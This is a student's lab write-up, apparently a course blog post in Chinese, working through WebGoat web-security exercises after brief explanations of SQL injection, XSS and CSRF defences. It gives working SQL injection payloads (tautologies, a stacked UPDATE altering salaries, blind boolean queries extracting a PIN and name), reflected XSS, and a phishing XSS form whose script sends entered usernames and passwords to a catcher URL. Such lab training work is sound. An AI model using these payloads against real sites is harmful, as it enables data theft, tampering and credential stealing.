20145205武钰《网络对抗》web安全基础实践

实验后问题回答

  • (1)SQL注入攻击原理,如何防御

  • 攻击原理:SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的

  • 防御手段:利用输入规则限制进行防御,不允许特殊字符输入

  • (2)XSS攻击的原理,如何防御

  • 攻击原理:跨站脚本攻击,允许恶意用户将恶意Script代码注入到网页上,当用户浏览网页时,嵌入其中Web里面的Script代码会被执行,从而被攻击,其他用户在观看网页时就会受到影响。XSS攻击的主要目的是,想办法获取目标攻击网站的cookie,因为有了cookie相当于有了seesion,有了这些信息就可以在任意能接进互联网的pc登陆该网站,并以其他人的身份登陆,做一些破坏。

  • 防御手段:过滤特征字符,限制用户输入,拒绝网页的可执行代码输入。

(3)CSRF攻击原理,如何防御

  • 攻击原理:CSRF跨站请求伪造,也被称为“oneclickattack”或者sessionriding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用,通过伪装来自受信任用户的请求来利用受信任的网站。是一种依赖web浏览器的、被混淆过的代理人攻击。
  • 防御手段:通过referer、token或者验证码来检测用户提交在form中包含秘密信息、用户指定的代号作为cookie之外的验证、定期清理保存的cookie

实验过程

  • 首先开启webgoat,在kali的终端中输入java -jar webgoat-container-7.0.1-war-exec.jar,期间需要等待一段时间,等到看到消息显示服务在8080端口开启后,最小化终端开始实验。
  • 还有就是对于代理服务器的使用,在每一个题的开始实践时,要先判断这个题是直接在输入框中注入,还是要截获数据包在代理服务器上注入,对于返回信息中有明显的SQL语句构成的,我们选择直接在输入框中注入,而对于输入进行过滤和限制的,我们选择在代理服务器上抓取数据包,然后再修改注入。

String SQL Injection

  • 这个比较简单,首先看题目我们可知是要考察我们的SQL基本注入,首先点击一下正常网页上的按钮,发现直接显示SQL语句,我们可知应该可以直接在框中输入注入语句,输入最为基本的一个永真式,即可完成注入。
  • 输入 'or 1 = 1',即可显示全部的内容。

step 1 String SQL Injection

  • 这里因为是下拉框式的用户名输入,但是密码是用户输入,所以在密码上构造永真式来解决问题,在捕获数据包后,找到密码字段,依旧构造之前相同永真式即可。

Stage 3:Numeric SQL Injection

  • 首先看题,这里是要求我们使用一个账户名来查看另外一个账户的信息,这里我们要思考一下,如何通过一个人的用户名去获得另外一个人的信息。我先是想到了因为每个人的字段都有特定的编号,如果先使用一个人的用户名,然后在代理这里修改掉,再发送给服务器是否可行呢?
  • 在代理这里修改了用户名字段,101 or 1=1但是结果却是失败了,还是显示的第一个人的LARRY的工资条,这里觉得让我们选择LARRY就是出题人给我们的下的套,设置显示第一个字段大小的表单,这样即使我们修改了用户名,但是还是只能看到位于第一个的LARRY,所以我们这里的思路需要修改一下,把老板的顺序提到最前,因为是老板,所以工资应该是最高的,这里使用101 or 1=1 order by salary desc来将老板的提到最前,显示成功。

String SQL Injection

  • 这里发现有我们可以输入的对话框,要求显示信息,那么我们就使用基本的永真式先尝试一下,然后就发现结果出来,原来这个测试的顺序和难度并没有什么关系。

Database Backdoors

  • 看题目我们可以要让我们对于数据库进行注入修改信息,这个上次实践中的多条语句注入考点类似,所以构建注入语句。
  • 输入101; update employee set salary=10000,即可发现数据库中员工工资数据被修改。

Blind Numeric SQL Injection

  • 由题目得知,盲数字注入,就是说在不知道信息情况下,使用一些逻辑判断方式进行注入。
  • 我们首先尝试默认的101,发现显示Account number is valid,说明这个是真值,说明我们可以进行范围的判断,就是说我们在拥有一个真值后,使用这个进行其他真值的一步步筛选,其实这个题就是让我们去找到一个也是之前设定好的值,首先要做的是确定范围。
  • 输入101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 100 );得到是真,找到了下限。
  • 输入101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 5000 );这次不符,之后要做的就是使用二分法去找到2364。

Blind String SQL Injection

  • 这里我们盲猜的内容由数字变成了字符串,其实题目给了我们思路,就是英文对照的ASCII码,所以我们在写比较语句时可以直接和字母比较,之前我们使用了二分法去找数字,这里我们可以去找一个一个的字母,最后把它拼接成一个字符串,因为题中还有一个消息就是,cc_number of 4321432143214321这里表明字符串是四个字母构成的,而且下文还提到了是一个名字,让我们注意大写和小写,这里说到小写是吧,其实就是告诉我们第一个字母是大写的,后面是小写的。然后去查了如何比较字符串中的一个字符,得到了下面的输入语句。
  • 输入101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'M' );这里的1,1前面的1是表示字符串的第一位,因为第一位是大写,所以来判断,同理来去找其余的三位小写字母。最后找到了那个人叫Jill

Numeric SQL Injection

  • 这个是课上的例子,思路就是在代理处找到用户名字段,然后修改一下,加上一个永真式,即可输出全部的四个城市的天气情况。

Phishing with XSS

  • 这里让我们写一个钓鱼网站,去获取登录人的用户名和密码。直接将写好的钓鱼网页代码输入到文本框后,即可运行。
</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Hold on! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br><br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

Reflected XSS Attacks

  • 从题得知,这是一个反射型的XSS攻击,类同于第一个,直接构造一段脚本即可发起攻击
  • 输入:<script>alert("so hot");</script>即可成功攻击
  • 注意一点,因为这是直接写入了网页的代码中,所以你会发现如果多次尝试,就会有多次内容弹出。

实验感想和体会

  • 嗨呀,最后实验了是吧,哈哈哈哈哈哈哈哈哈。终于不用写博客了。
  • 虽然这次实验开始做的时候挺难的,开始练题目都看不懂,还好有渣渣的但是帮了大忙的百度机翻,做到最后,其实发现本次的实践难度还可以吧,主要是忘了太多的网页开发编程和SQL语句时硬伤,还得网上搜,有时候一搜就搜到了同学们的博客了,但是其实本门课程还挺有意思的,在这次实践里最能体现的就是看老板工资那次,还得想到老板肯定是挣得最多的,感觉很贴近现实吧,学起来没那么空乏就感觉好理解一些。
posted @ 2017-05-19 23:27  20145205武钰  阅读(190)  评论(0编辑  收藏  举报